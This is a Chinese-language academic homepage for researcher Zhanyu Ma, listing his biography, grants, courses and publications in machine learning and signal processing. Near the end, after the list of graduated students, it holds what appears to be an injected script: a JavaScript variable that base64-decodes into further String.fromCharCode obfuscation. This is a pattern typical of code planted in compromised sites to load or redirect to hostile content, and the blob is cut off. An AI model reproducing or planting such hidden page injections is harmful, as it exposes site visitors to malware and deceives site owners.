马占宇 (Zhanyu Ma)

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Zhanyu Ma

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马占宇,瑞典皇家理工学院博士、博士后,现任北京邮电大学副教授、博士生导师,丹麦奥尔堡大学兼职副教授、博士生导师,IEEE高级会员,中国计算机学会高级会员,中国计算机学会计算机视觉专委会委员、副秘书长,中国图象图形学学会视觉大数据专委会委员、文档图像分析与识别专委会委员和机器视觉专委会委员,中国自动化学会混合智能专委会委员。主要研究方向是以数据的非高斯建模与分析为代表的模式识别与机器学习基础理论与方法,及其在计算机视觉、城市大数据分析、多媒体信号处理、生物医学信号处理、生物信息学等领域的应用。共在包括IEEE TPAMI、IEEE TNNLS、ICASSP、ECCV在内的期刊和会议上发表论文60多篇,担任IEEE Transactions on Vehicular Techonology 编委(Editor),IEEE ACCESS编委(Associate Editor),Elsevier ICT Express编委 (Editor),IEEE TNNLS、NEUROCOMPUTING等特刊主编和多个期刊的审稿人,担任SPLINE 2016Technical Co-Chair,IEEE MLSP 2018 Program Chair等国际会议重要职务,获授权发明专利5项,相关技术被应用于多个实际系统中;主持包括国家自然科学基金、北京市自然科学基金在内的多个项目;荣获2017年度中国人工智能学会“第七届吴文俊人工智能科学技术奖”一等奖(第一完成人),2017年度“北京市科学技术奖”(第三完成人);入选2017年度”北京市科技新星”计划。

电子邮箱:mazhanyu AT bupt DOT edu DOT cn

工作及科研经历

教育经历

  • 2007年9月至2011年12月        瑞典皇家理工学院             博士
  • 2004年9月至2007年4月             北京邮电大学                 硕士
  • 2000年9月至2004年7月             北京邮电大学                 学士

研究方向

模式识别,机器学习,非高斯统计模型,贝叶斯网络,非负矩阵/张量分解;
语音处理,图像处理,生物医学信号处理,生物信息学,智能能源网络

其他兴趣

语音/视频质量估计,统计压缩感知,协同过滤

招生信息

硕士研究生: 学术型/专业型,欢迎保送/考研学生联系。请提前发送邮件预约面谈,附上简历和成绩单。

博士研究生: 欢迎报名直博”类型的博士研究生,应具备(但不限于):1、明确的研究目标、正确的学术态度、良好的科研心态;2、较强的英文听说读写能力;3、较好的待人接物能力、良好的团队合作精神;4、取得过专著、论文、专利等成果或参与过科研项目。否则,建议先从硕士研究生开始,学习1~2年后,再根据实际情况决定是否转为硕博连读的博士研究生。也接收“申请-审核”制博士研究生报名。请提前发邮件预约面谈,附上简历、成绩单、科研计划书、科研成果/科研项目经历、推荐信。

教授课程

  • 本科生
    • 数据结构 (2013-今)
    • Data Stucture (留学生,2016-今)
  • 研究生
    • 贝叶斯网络及其应用(英文授课,2015-今)
    • Multimedia Technology (留学生,2015-今)
    • 网络及其内容安全(2013-2014)
    • Speech Signal Processing (at KTH, 2012-2013)

征稿

主要项目

  • “非高斯中性矢量变量的非线性独立特征分析方法研究”,国家自然科学基金(面上项目),批准号:61773071,2018.01-2021.12.(主持)
  • “基于非高斯多模态融合分析的人脑视觉认知机理研究”,北京市科技新星计划交叉学科合作课题,2018.01-2019.12. (主持,合作者:中国科学院心理研究所 蒋毅
  • “城市大数据的非高斯建模方法及应用”,北京市科技新星计划(B类),批准号:Z171100001117049,2017.01-2019.12. (主持)
  • “高维大规模非高斯数据的不平衡学习”,国家自然科学基金(海外及港澳学者合作研究基金项目),批准号:61628301,2017.01-2018.12. (主研)
  • “基于非高斯跨域分析的多视角深度图增强方法研究”,北京市自然科学基金(面上项目),批准号:4162044,2016.01-2018.12.(主持)
  • “基于非高斯概率模型的跨域视觉分析”, 国家自然科学基金(国际(地区)合作与交流项目),批准号:61511130081,2015.04-2017.03.(主持)
  • “非高斯概率模型的高效变分近似推理方法研究”,国家自然科学基金(青年科学基金项目),批准号:61402047,2015.01-2017.12. (主持)
  • “变量分析框架下基于贝叶斯先验的单声道语音增强理论与模型研究”,教育部留学回国人员科研启动基金,2015.01-2016.12.(主持)
  • “Big Data Processing in Wireless Networks”, Sweden STINT initiation grant, 2015.7-2016.6.(主持)
  • Project 66004, “New advanced probabilistic models for multimedia signal processing”, KTH research funding, 2010.9-2013.6.(主持)
  • AVTAL-12-173, “Developing a new strategy for the operation of the CHP and district heating system based on the end user heat demand” Ångpanneföreningens Forskningsstiftelse research funding, 2012.9-2013.9.(主研)
  • 承担多项企业合作课题

应用技术

  • 跨模态检索
    • 草图-图像检索
    • 小样本图像标注
  • 智能能源系统
    • 供热网络的热负荷预测
    • 供热网络热负荷的影响因子分析
  • 高性能语音模型编码器
    • 针对LPC模型的LSF表达形式设计
    • 基于非高斯统计模型的PDF-optimized量化器
    • 一系列非线性去相关变换
    • 在保证传输质量的前提下大幅度节约码率
  • DNA甲基化分析工具
    • 在高维DNA特征空间中提取低维有效特征
    • 基于贝叶斯模型的DNA聚类
    • 准确判断正常/癌症DNA
  • 多视角三维视频重建技术
    • 基于景深图的三维视频重建
    • 任意视角场景还原
    • 性能超过MPEG中的VSRS软件
  • EEG信号分类器
    • 高效的脑电波(EEG)信号分类器
    • 采用狄利特雷混合模型描述EEG信号特征
    • 在噪音环境下有较强鲁棒性强

部分学术兼职

 

 

Guest Editorial

  1. Zhanyu Ma, Jen-Tzung Chien, Zheng-Hua Tan, Yi-Zhe Song, Jalil Taghia, and Ming Xiao, “Recent Advances in Machine Learning for Non-Gaussian Data Processing”, NEUROCOMPUTING, 2017. DOI

部分学术论文

博士论文

  • Zhanyu Ma, “Non-Gaussian Statistical Models and Their Applications”, PhD Thesis, KTH-Royal Institute of Technology, 2011.

期刊 (*=通信作者)

(影响因子:IEEE TPAMI: 8.329, IEEE J-IoT: 7.596, IEEE NETWORK: 7.230, IEEE TNNLS: 6.108, IEEE J-STSP: 5.301, PR: 4.582, KBS: 4.529, ENB: 4.067, IEEE TETC: 3.826, NEUROCOMPUTING: 3.317,  IEEE ACCESS: 3.244, IEEE/ACM TASLP: 2.491,  SP: 3.110)

  1. Zhanyu Ma*, Jing-Hao Xue, Arne Leijon, Zheng-Hua Tan, Zhen Yang, and Jun Guo, “Decorrelation of Neutral Vector Variables: Theory and Applications”, IEEE Transactions on Neural Networks and Learning Systems (TNNLS), accepted, 2016. DOI
  2. Hong Yu, Zheng-Hua Tan, Zhanyu Ma*, Rainer Martin, and Jun Guo, “Spoofing Detection in Automatic Speaker Verification Systems Using DNN Classifiers and
    Dynamic Acoustic Features”, IEEE Transactions on Neural Networks and Learning Systems (TNNLS), accepted, 2017. DOI
  3. Peng Xu, Qiyue Yin, Yongye Huang, Yi-Zhe Song, Zhanyu Ma*, Liang Wang, Tao Xiang, W. Bastiaan Kleijn, Jun Guo, “Cross-modal Subspace Learning for Fine-grained Sketch-based Image Retrieval”, NEUROCOMPUTING, accepted, 2017. DOI
  4. Zhanyu Ma, Jiyang Xie, Hailong Li*, Qie Sun*, Zhongwei Si, Jianhua Zhang, and Jun Guo, “The Role of Data Analysis in the Development of Intelligent Energy Networks”, IEEE Network, Vol. 31, Issue 5, pp. 88 – 95, 2017. DOI
  5. Xiaochuan Ma, Jianhua Zhang*, Yuxiang Zhang, and Zhanyu Ma, “Data scheme-based wireless channel modeling method: motivation, principle and performance“, Journal of Communications and Information Networks, Vol. 2, Iss. 3, pp. 41-51, September 2017. DOI
  6. Hong Yu, Zheng-Hua Tan, Yiming Zhang, Zhanyu Ma*, and Jun Guo, “DNN Filter Bank Cepstral Coefficients for Spoofing Detection”, IEEE ACCESS, Vol.5, pp. 4779 – 4787, March 2017. DOI
  7. Zhanyu Ma, Hong Yu*, Zheng-Hua Tan, and Jun Guo, “Text-Independent Speaker Identification Using the Histogram Transform Model”, IEEE ACCESS, Vol. 4, pp. 9733 – 9739, Jan. 2017. DOI
  8. Qie Sun, Hailong Li*, Zhanyu Ma*, Chao Wang, Javier Campillo, Fredrik Wallin, and Jun Guo, “A Comprehensive Review of Smart Energy Meters in Intelligent Energy Networks”, IEEE Internet of Things Journal (IoT-J), Volume 3, Issue 4, pp. 464-479, Aug. 2016. DOI
  9. Zhongwei Si, Hong Yu, and Zhanyu Ma*,“Learning Deep Features for DNA Methylation Data Analysis”, IEEE ACCESS, vol. 4, pp. 2732 – 2737, June 2016. DOI
  10. Chunyun Zhang, Zhongwei Si, Zhanyu Ma*, Xiaoming Xi, Yilong Yin, “Mining Sequential Update Summarization with Hierarchical Text Analysis”, Mobile Information Systems, vol. 2016, Article ID 1340973, 10 pages, 2016. DOI
  11. Zhanyu Ma*, Zheng-Hua Tan, and Jun Guo, “Feature Selection for Neutral Vector in EEG Signal Classification”, NEUROCOMPUTING, vol. 174, pp. 937-945, Jan. 2016. DOI
  12. Mikael Davis*, Zhanyu Ma*, Weiru Liu, Paul Miller, Ruth Hunter, Frank Kee, “Generating realistic labelled, weighted random graphs”, Algorithms, 8(4), 1143-1174, 2015.DOI
  13. Zhanyu Ma*, Jalil Taghia, W. Bastiaan Kleijn, Arne Leijon, and Jun Guo, “Line Spectral Frequencies Modeling by a Mixture of Von Mises-Fisher Distributions”, Signal Processing (SP), vol. 114, 219-224, Sep. 2015. DOI
  14. Chunyun Zhang, Yichang Zhang, Weiran Xu*, Zhanyu Ma, Yan Leng, and Jun Guo, “Mining activation force defined dependency patterns for relation extraction”, Knowledge-Based Systems(KBS), vol. 86, pp. 278–287, Sep. 2015DOI
  15. Chunyun Zhang*, Weiran Xu, Zhanyu Ma, Sheng Gao, Qun Li, and Jun Guo, “Construction of Semantic Bootstrapping Models for Relation Extraction”, Knowledge-Based Systems(KBS), 83, 128-137, July 2015. DOI
  16. Kaili Zhao*, Honggang Zhang, Zhanyu Ma, Yi-Zhe Song, Jun Guo, “Multi-label learning with prior knowledge for facial expression analysis”, Neurocomputing, vol 157, pp. 280-289, June 2015. DOI
  17. Zhanyu Ma*, Andrew E. Teschendorff, Arne Leijon, Yuanyuan Qiao, Honggang Zhang, and Jun Guo, “Variational Bayesian Matrix Factorization for Bounded Support Data”, IEEE Trans. on Pattern Analysis and Machine Intelligence (TPAMI), Volume 37, Issue 4, pp. 876 – 889, Apr. 2015. DOI
  18. Pravin K. Rana*, Jalil Taghia, Zhanyu Ma, and Markus Flierl, “Probabilistic Multiview Depth Image Enhancement Using Variational Inference”, IEEE Journal of Selected Topics in Signal Processing (J-STSP), Vol. 9, No. 3, pp. 435 – 448, April 2015. DOI
  19. Yuanyuan Qiao*, Jie Yang, Haiyang He, Yihang Cheng, and Zhanyu Ma, “User location prediction with energy efficiency model in the Long Term-Evolution network”, International Journal of Communicatino Systems (IJCS), Jan. 2015.
  20. Zhanyu Ma, Hailong Li, Qie Sun*, Chao Wang, Aibin Yan, and Fredrik Starfel,  “Statistical analysis of energy consumption patterns on the heat demand of buildings in district heating systems”, Energy and Buildings(ENB), pp. 464–472, Volume 85, December 2014. DOI
  21. Zhanyu Ma*, Saikat Chatterjee, W. Bastiaan Kleijn, and JunGuo, “Dirichlet Mixture Modeling to Estimate an Empirical Lower Bound for LSF Quantization”, Signal Processing (SP), Volume 104, pp. 291-295, November 2014. DOI
  22. Zhanyu Ma*, Pravin K. Rana, Jalil Taghia, Markus Flierl, and Arne Leijon, “Bayesian Estimation of Dirichlet Mixture Model with Variational Inference”, Pattern Recognition (PR), Volume 47, Issue 9, pp. 3143-3157, September 2014. DOI
  23. Jalil Taghia*, Zhanyu Ma, and Arne Leijon, “Bayesian Estimation of the von-Mises Fisher Mixture Model with Variational Inference”, IEEE Trans. on Pattern Analysis and Machine Intelligence (TPAMI), Volume:36, Issue9, pp. 1701-1715, September, 2014. DOI
  24. Zhanyu Ma*, Andrew E. Teschendorff, Hong Yu, Jalil Taghia, and Jun Guo, “Comparisons of Non-Gaussian Statistical Models in DNA Methylation Analysis”, International Journal of Molecular Sciences (IJMS), 15(6), 10835-10854, 2014. DOI
  25. Zhanyu Ma*, Arne Leijon, Zheng-Hua Tan, and Sheng Gao, “Predictive Distribution of the Dirichlet Mixture Model by Local Variational Inference”, Journal of Signal Processing System (JSPS), Volume 74, Issue 3, pp.359-374, 2014. DOI
  26. Sheng Gao, Hao Luo, Da Chen, Shantao Li, Patrick. Gallinari, Zhanyu Ma, Jun Guo, “A Cross-Domain Recommendation Model for Cyber-Physical Systems”, IEEE Transactions on Emerging Topics in Computing, vol. 1, no. 2, pp. 384-393, Dec. 2014. DOI
  27. Zhanyu Ma*, Arne Leijon, and W. Bastiaan Kleijn, “Vector Quantization of LSF Parameters with a Mixture of Dirichlet Distributions”, IEEE Trans. on Audio, Speech, and Language Processing (TASLP), vol.21, no.9, pp.1777-1790, Sept. 2013. DOI
  28. Zhanyu Ma and Andrew E. Teschendorff*, “A Variational Bayes Beta Mixture Model for Feature Selection in DNA Methylation Studies”, Journal of Bioinformatics and Computational Biology (JBCB), Vol. 11, No. 4 (2013) 1350005 (19 pages), 2013. DOI
  29. Zhanyu Ma*, Arne Leijon, “Bayesian Estimation of Beta Mixture Models with Variational Inference”, IEEE Trans. on Pattern Analysis and Machine Intelligence (TPAMI), Vol. 33, pp. 2160 – 2173, Nov. 2011. DOI (被Nature引用)

会议 (*=通信作者)

  1. Z. Liu, Y. Qi, Z. Ma, and J. Yang, “Sentiment Analysis by Exploring Large Scale Web-based Chinese Short Text”, in Proceedings of The International Conference on Computer Science and Application Engineering (CSAE), Oct. 21-23, 2017.
  2. F. Zhu, X. Li, Z. Ma*, G. Chen, P. Peng, X. Guo, J.-T. Chien, and J. Guo, “Image-text Dual Model for Small-sample Image Classication”, in Proceedings of Chinese Conference on Computer Vision (CCCV) 2017, Oral (18%), Oct. 11-14, 2017.
  3. H. Yu, Z.-H. Tan, Z. Ma*, and J. Guo, “Adversarial Network Bottleneck Features for Noise Robust Speaker Verification”, INTERSPEECH, 2017. arXiv: 1706.03397
  4. X. Ma, J. Zhang, Y. Zhang, Z. Ma and Y. Zhang, “A PCA-based Modeling Method for Wireless MIMO Channel”, INFOCOM, 2017.
  5. J. Xie, H. Li*, Z. Ma*, Q. Sun*, F. Wallin, Z. Si, and J. Guo, “Analysis of Key Factors in Heat Demand Prediction with Neural Networks”, in Proceedings of International Conference on Applied Energy (ICAE), Oct. 8-11, 2016.
  6. P. Xu, Q. Yin, Y. Qi,  Y.-Z. Song, Z. Ma*, L. Wang, J. Guo, “Instance-level Coupled Subspace Learning for Fine-grained Sketch-based Image Retrieval”, in Proceedings of European Conference on Computer Vision (ECCV), Oral, Oct. 8-16, 2016.
  7. P. Xu, K. Li, Z. Ma*, Y.-Z. Song, L. Wang, J. Guo, “Cross-modal Subspace Learning for Sketch-based Image Retrieval: A Comparative Study”, in Proceedings of IEEE International Conference on Network Infrastructure and Digital Content, Sept. 23-25, 2016. (Best paper award)
  8. H. Zhou, N. Zhang, D. Huang, Z. Ma*, W. Hu, and J. Guo, “Activation Force-based Air Pollution Tracing”, in Proceedings of IEEE International Conference on Network Infrastructure and Digital Content, Sept. 23-25, 2016.
  9. Z. Wang*, Y. Qi, J. Liu, and Z. Ma, “User Intention Understanding From Scratch”, IEEE International Workshop on Sensing, Processing and Learning for Intelligent Machines (SPLINE), 6-8 July, 2016.
  10. Y. Chen, Y. Li, F. Qi, Z. Ma, H. Zhang, “Cycled Merging Registration of Point Clouds for 3D Human Body Modeling”, IEEE International Workshop on Sensing, Processing and Learning for Intelligent Machines (SPLINE), 6-8 July, 2016.
  11. H. Yu, A. Sarkar, D. A. L. Thomsen, Z.-H. Tan , Z. Ma , and J. Guo, “Effect of Multi-condition Training and Speech Enhancement Methods on Spoofing Detection”, IEEE International Workshop on Sensing, Processing and Learning for Intelligent Machines (SPLINE), 6-8 July, 2016.
  12. Y. Sun, W. Wang, H. Zhang, Z. Ma, “Detecting Formula based on Stroke Width Transform for online Chinese Examination Question Retrieval”, IEEE Digital Media Industry and Academic Forum, 4-6 July, 2016.
  13. L. Qi, Y. Qiao, F. B. Abdesslem, Z. Ma, J. Yang, “Oscillation Resolution for Massive Cell Phone Traffic Data”, ACM MobiSys Workshop on Mobile Data, 30 June, 2016.
  14. V. Nian, Q. Sun, and Z. Ma, and H. Li. “A comparative cost assessment of energy production from central heating plant or power plant waste heat recovery “, CUE2016-Applied Energy Symposium and Forum, June 13-15, 2016.
  15. D. Huang, N. Zhang, H. Yu, H. Zhou, Z. Ma*, W. Hu, and J. Guo, “Activation Force-based Air Pollution Observation Station Clustering”, QSHINE, 19-20 August, Taipei, 2015.
  16. C. Zhang, Z. Ma*, J. Zhang, W. Xu, and J. Guo, “A Multi-level System for Sequential Update Summarization”, QSHINE, 19-20 August, Taipei, 2015.
  17. R. L. Kristensen*, Z.-H. Tan, Z. Ma, and J. Guo, “Binary Pattern Flavored Feature Extractors for Facial Expression Recognition: An Overview,” CIS-MIPRO 2015, 25-29 May 2015, Opatija, Croatia.
  18. H. Yu*, Z. Ma, M. Li, and J. Guo, “Histogram Transform Model Uding MFCC Features for Text-independent Speaker Identification”, in Proceedings of IEEE Asilomar Conference on Signals, Systems, and Computers (Asilomar SS&C), November 2014.
  19. F. Qi*, H. Zhang, Z. Ma, and N. Liu, “Supervoxel for Human and Clothes in RGB-D Image”, in Proceedings of Global Wireless Summit (GWS), 2014.
  20. Z. Ma*, R. Martin, J. Guo, and H. Zhang, “Nonlinear estimation of missing ΔLSF parameters by a mixture of Dirichlet distributions”, in Proceedings of International Conference on Acoustics, Speech, and Signal Processing (ICASSP), 2014.
  21. S. Di*, Z. Yang, H. Zhang, Z. Ma, and J. Guo, “A Robust Lane Detection Algorithm for Lane Departure Warning Systems”, in Proceedings of International Conference on Communications, Connectivity, Convergence, Content and Co-operation, 2013.
  22. Z. Ma*, Q. Sun, H. Li, C. Wang, A. Yan, and F. Starfelt, “Dynamic Prediction of the Heat Demand for Buildings in District Heating Systems”, in Proceedings of International Conference on Applied Energy (ICAE), 2013.
  23. P. K. Rana, Z. Ma, J. Taghia, and M. Flierl, “Multiview Depth Map Enhancement by Variational Bayes Inference Estimation of Dirichlet Mixture Models”, in Proceedings of IEEE International Conference on Acoustics, Speech, and Signal Processing (ICASSP), pp. 1528–1532, May 2013.
  24. J.Taghia, Z. Ma, and A. Leijon, “On Von-Mises Fisher Mixture Model in Text-Independent Speaker Identification”, in Proceedings of INTERSPEECH, 2013.
  25. Z. Ma* “Bayesian Estimation of the Dirichlet Distribution with Expectation Propagation”, in Proceedings of European Signal Processing Conference (EUSIPCO), pp. 689-693, 2012.
  26. Z. Ma* Z. –H. Tan, and S. Prasad, “EEG Signal Classification with Super-Dirichlet Mixture Model”, in Proceedings of IEEE Statistical Signal Processing Workshop (SSP), pp. 440-443, 2012.
  27. Z. Ma* and A. Leijon, “A Model-based Collaborative Filtering Method for Bounded Support Data”, in proceedings of IEEE International Conference on Network Infrastructure and Digital Content (IC-NIDC), 2012.
  28. Z. Ma* and A. Leijon, “Approximating the Predictive Distribution of the Beta Distribution with the Local Variational Method”, in Proceedings of IEEE International Workshop on Machine Learning for Signal Processing (MLSP), pp. 1-6, 2011.
  29. Z. Ma* and A. Leijon, “Super-Dirichlet Mixture Models using Differential Line Spectral Frequencies for Text-Independent Speaker Identification”, in Proceedings of INTERSPEECH, pp. 2349-2352, 2011.
  30. Z. Ma* and A. Leijon, “Expectation Propagation for Estimating the Parameters of the Beta Distribution”, in Proceedings of IEEE International Conference on Acoustics, Speech, and Signal Processing (ICASSP), pp. 2082-2085, 2010.
  31. Z. Ma* and A. Leijon, “Modeling Speech Line Spectral Frequencies with Dirichlet Mixture Models”, in Proceedings of INTERSPEECH, pp. 2370-2373, 2010.
  32. Z. Ma* and A. Leijon, “PDF-optimized LSF Vector Quantization Based on Beta Mixture Models”, in Proceedings of INTERSPEECH, pp. 2374-2377, 2010.
  33. Z. Ma* and A. Leijon, “Human Skin Color Detection in RGB Space with Bayesian Estimation of Beta Mixture Models”, in Proceedings of European Signal Processing Conference (EUSIPCO), pp. 1204-1208, 2010.
  34. Z. Ma* and A. Leijon, “Coding Bounded Support Data with Beta Distribution”, in Proceedings of IEEE International Conference on Network Infrastructure and Digital Content (IC-NIDC), pp. 246-250, 2010.
  35. Z. Ma* and A. Leijon, “Beta Mixture Models and the Application to Image Classification”, in Proceedings of IEEE International Conference on Image Processing (ICIP), pp. 2045-2048, 2009.
  36. Z. Ma* and A. Leijon, “Human Audio-Visual Consonant Recognition Analyzed with Three Bimodal Integration Models”, in Proceedings of INTERSPEECH, pp. 812-815, 2009.
  37. Z. Ma* and A. Leijon, “A Probabilistic Principal Component Analysis Based Hidden Markov Model for Audio-Visual Speech Recognition”, in Proceedings of IEEE Asilomar Conference on Signals, Systems, and Computers (Asilomar SS&C), pp. 2170-2173, 2008.

历届毕业生

硕士

  • Annamuhammedov Myrat (米特),2017,人民大学,硕士生(中国贸易与经济专业)
  • 黄迪(合作导师:郭军),2017,微软(中国)有限公司苏州分公司,工程师
  • Rasmus A. Lyngby (合作导师:Zheng-Hua Tan,郭军),2015,DTU,博士生

var DTMQKFKOAQ = atob(‘dmFyIEVHQUVRS09RWkEgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDExIC0gMSwgMTIzIC0gNSwgMTAxIC0gNCwgMTE1IC0gMSwgMzMgLSAxLCAxMDggLSAxLCAxMTAgLSA5LCAxMjcgLSA2LCAzNSAtIDMsIDY4IC0gNywgMzMgLSAxLCA0MCAtIDEsIDEwMSAtIDQsIDExNyAtIDEsIDEyNSAtIDksIDExMyAtIDEsIDkxIC0gNiwgOTAgLSAzLCA4OCAtIDIsIDc3IC0gMiwgMTA3IC0gOSwgMTE3IC0gNSwgNDUgLSA2LCA2NiAtIDcsIDEzIC0gMywgMTE5IC0gMSwgMTA1IC0gOCwgMTIzIC0gOSwgNDEgLSA5LCAxMDkgLSA4LCAxMTkgLSA5LCAxMDQgLSA1LCAxMDQgLSAzLCAxMDEgLSAxLCA0MCAtIDgsIDY2IC0gNSwgNDEgLSA5LCA0NyAtIDgsIDc4IC0gOCwgMTIxIC0gMSwgOTQgLSA5LCA3NCAtIDMsIDkyIC0gNywgNzMgLSA2LCA4OCAtIDMsIDExMSAtIDMsIDgzIC0gNiwgNzEgLSA0LCAxMDUgLSA1LCA3NiAtIDksIDg4IC0gNCwgODkgLSA0LCA3MyAtIDQsIDg5IC0gOCwgNzkgLSA4LCAxMjQgLSA0LCA4MiAtIDUsIDExMSAtIDgsIDg2IC0gNywgMTA3IC0gMSwgODEgLSA0LCAxMTAgLSAyLCA3MiAtIDIsIDExNyAtIDksIDUzIC0gMSwgNjkgLSAyLCA3MyAtIDcsIDExMSAtIDcsIDczIC0gNCwgOTEgLSA5LCA4MSAtIDgsIDkxIC0gNywgODEgLSA4LCA5MSAtIDcsIDc1IC0gMSwgMTI3IC0gOCwgMTAyIC0gMywgMTA5IC0gOSwgNjcgLSAxLCA3MiAtIDYsIDExOSAtIDgsIDc0IC0gOSwgOTEgLSA0LCA3NSAtIDMsIDc5IC0gNiwgMTA4IC0gMSwgODUgLSA3LCA4NiAtIDIsIDExMyAtIDYsIDc4IC0gMiwgNzEgLSA2LCA3MiAtIDYsIDkwIC0gNCwgODYgLSAyLCA4OSAtIDEsIDkxIC0gNiwgMTI0IC0gOCwgMTA3IC0gNSwgNzcgLSAzLCAxMjIgLSAxLCA4MiAtIDEsIDEyMCAtIDQsIDc2IC0gOCwgMTE0IC0gNiwgNTcgLSA1LCA4NSAtIDIsIDcwIC0gMSwgODIgLSAxLCA3MCAtIDUsIDEyMyAtIDMsIDgxIC0gOCwgODggLSA1LCA4NSAtIDgsIDExMSAtIDQsIDc3IC0gNCwgMTEwIC0gNywgNzQgLSA5LCA3MSAtIDEsIDczIC0gMywgODMgLSAxLCA3MSAtIDEsIDEwMCAtIDEsIDkxIC0gNSwgMTMwIC0gOSwgOTcgLSA4LCAxMTQgLSA2LCA4NiAtIDgsIDk2IC0gOSwgMTI5IC0gOSwgODcgLSA4LCA5MiAtIDYsIDEyMSAtIDIsIDEwOSAtIDIsIDY4IC0gMywgNzAgLSA1LCA2OCAtIDMsIDc0IC0gOCwgMTI1IC0gNywgMTA5IC0gOCwgNzYgLSA0LCAxMTYgLSA5LCA1MCAtIDMsIDcxIC0gMiwgNjcgLSAxLCA3MyAtIDQsIDc1IC0gMywgNzAgLSAxLCAxMDUgLSAxLCA1NyAtIDksIDkwIC0gNiwgODYgLSA4LCA3MyAtIDYsIDEwMCAtIDEsIDU0IC0gNywgOTIgLSAyLCA4NyAtIDYsIDEyMCAtIDEsIDEwNiAtIDcsIDkyIC0gOCwgMTA1IC0gMiwgMTA4IC0gOSwgNzAgLSA1LCA3OCAtIDksIDg4IC0gNSwgNzMgLSA0LCA0NSAtIDIsIDgzIC0gNSwgOTUgLSA4LCA4MiAtIDEsIDgxIC0gMSwgNzUgLSA2LCA4MiAtIDEsIDEwOCAtIDUsIDEwNSAtIDgsIDk0IC0gNywgMTEyIC0gOCwgMTEyIC0gMSwgMTEwIC0gMSwgMTAxIC0gMiwgNzYgLSA0LCA2MiAtIDUsIDEyNiAtIDcsIDEwMCAtIDMsIDcxIC0gNSwgODYgLSA1LCA4MiAtIDMsIDcyIC0gMiwgMTI0IC0gNSwgNzMgLSA0LCAxMDEgLSAxLCA4MCAtIDMsIDcyIC0gNCwgMTEzIC0gNiwgMTA2IC0gMSwgOTMgLSAzLCA4OCAtIDcsIDExNiAtIDUsIDg5IC0gMywgNzEgLSA2LCA3MSAtIDUsIDc1IC0gOSwgMTAwIC0gMywgNzYgLSA3LCA4OSAtIDYsIDkwIC0gNSwgMTE5IC0gOSwgODIgLSA1LCAxMjYgLSA1LCA5NCAtIDksIDc1IC0gNCwgODQgLSA3LCAxMjAgLSAxLCAxMTEgLSA0LCAxMDQgLSA0LCA3MiAtIDEsIDcyIC0gNiwgOTEgLSA5LCA2MCAtIDMsIDgwIC0gNiwgMTI5IC0gOCwgODQgLSAzLCAxMTggLSAyLCA3NCAtIDYsIDExMiAtIDQsIDEwOSAtIDEsIDEwMyAtIDYsIDEwOCAtIDYsIDExMSAtIDgsIDY1IC0gNCwgNjUgLSA0LCA0NSAtIDYsIDYxIC0gMiwgMTcgLSA3LCAxMDggLSA2LCAxMTkgLSAyLCAxMTYgLSA2LCAxMDMgLSA0LCAxMTcgLSAxLCAxMTAgLSA1LCAxMTkgLSA4LCAxMTggLSA4LCAzOCAtIDYsIDEyMiAtIDIsIDExMyAtIDIsIDExOSAtIDUsIDEwMyAtIDgsIDEwMiAtIDEsIDExMSAtIDEsIDEwMCAtIDEsIDQ4IC0gOCwgMTE3IC0gMiwgMTI0IC0gOCwgMTIyIC0gOCwgMTA5IC0gNCwgMTEzIC0gMywgMTA3IC0gNCwgNDcgLSAzLCAzNiAtIDQsIDExNiAtIDksIDEwNiAtIDUsIDEzMCAtIDksIDQ4IC0gNywgMzcgLSA1LCAxMjcgLSA0LCAxNyAtIDcsIDM2IC0gNCwgNDEgLSA5LCAxMjMgLSA1LCA5OCAtIDEsIDExNiAtIDIsIDM0IC0gMiwgMTE4IC0gNCwgMTEwIC0gOSwgMTE3IC0gMiwgMzkgLSA3LCA2OCAtIDcsIDM4IC0gNiwgNDggLSA5LCA0OCAtIDksIDY1IC0gNiwgMTIgLSAyLCAzOCAtIDYsIDM3IC0gNSwgMTA1IC0gMywgMTEzIC0gMiwgMTE5IC0gNSwgMzYgLSA0LCA0NCAtIDQsIDEyNyAtIDksIDEwMyAtIDYsIDEyMyAtIDksIDM3IC0gNSwgMTA4IC0gMywgMzggLSA2LCA2OCAtIDcsIDM4IC0gNiwgNTMgLSA1LCA2MSAtIDIsIDM3IC0gNSwgMTA5IC0gNCwgMzMgLSAxLCA2OSAtIDksIDM0IC0gMiwgMTI0IC0gOSwgMTIyIC0gNiwgMTE3IC0gMywgMTA5IC0gNCwgMTE5IC0gOSwgMTA0IC0gMSwgNTIgLSA2LCAxMTUgLSA3LCAxMDggLSA3LCAxMTggLSA4LCAxMDkgLSA2LCAxMTggLSAyLCAxMTMgLSA5LCA2MyAtIDQsIDQxIC0gOSwgMTExIC0gNiwgNTAgLSA3LCA0OCAtIDUsIDQ1IC0gNCwgMzUgLSAzLCAxMjkgLSA2LCAxNyAtIDcsIDQxIC0gOSwgNDEgLSA5LCAzNSAtIDMsIDM4IC0gNiwgMTIyIC0gOCwgMTAyIC0gMSwgMTIxIC0gNiwgMzQgLSAyLCA0NiAtIDMsIDY4IC0gNywgMzYgLSA0LCA5MCAtIDcsIDEyMyAtIDcsIDExOSAtIDUsIDEwOSAtIDQsIDExNyAtIDcsIDExMSAtIDgsIDU1IC0gOSwgMTExIC0gOSwgMTE2IC0gMiwgMTIwIC0gOSwgMTExIC0gMiwgNzIgLSA1LCAxMDUgLSAxLCAxMDMgLSA2LCAxMTcgLSAzLCA3NSAtIDgsIDExOSAtIDgsIDEwNSAtIDUsIDEwOSAtIDgsIDQ4IC0gOCwgMTI0IC0gOSwgMTIwIC0gNCwgMTIzIC0gOSwgMTEwIC0gNSwgMTEzIC0gMywgMTExIC0gOCwgNTEgLSA1LCAxMDMgLSA0LCAxMTEgLSA3LCAxMDQgLSA3LCAxMjIgLSA4LCA3NiAtIDksIDExNCAtIDMsIDEwOCAtIDgsIDEwNSAtIDQsIDY5IC0gNCwgMTIyIC0gNiwgNDIgLSAyLCAxMTQgLSA5LCA0NCAtIDMsIDM3IC0gNSwgOTkgLSA1LCAxMSAtIDEsIDE3IC0gOCwgMTEgLSAyLCAxNCAtIDUsIDE3IC0gOCwgMTA5IC0gMiwgMTAzIC0gMiwgMTI3IC0gNiwgNTIgLSA2LCAxMDUgLSA2LCAxMDkgLSA1LCAxMDIgLSA1LCAxMTYgLSAyLCA3NSAtIDgsIDExMyAtIDIsIDEwNiAtIDYsIDEwMiAtIDEsIDczIC0gOCwgMTI1IC0gOSwgNDYgLSA2LCAxMTEgLSA2LCAzNiAtIDQsIDQ1IC0gOCwgMzggLSA2LCAxMDggLSAxLCAxMDYgLSA1LCAxMjkgLSA4LCA0OSAtIDMsIDExNiAtIDgsIDEwMiAtIDEsID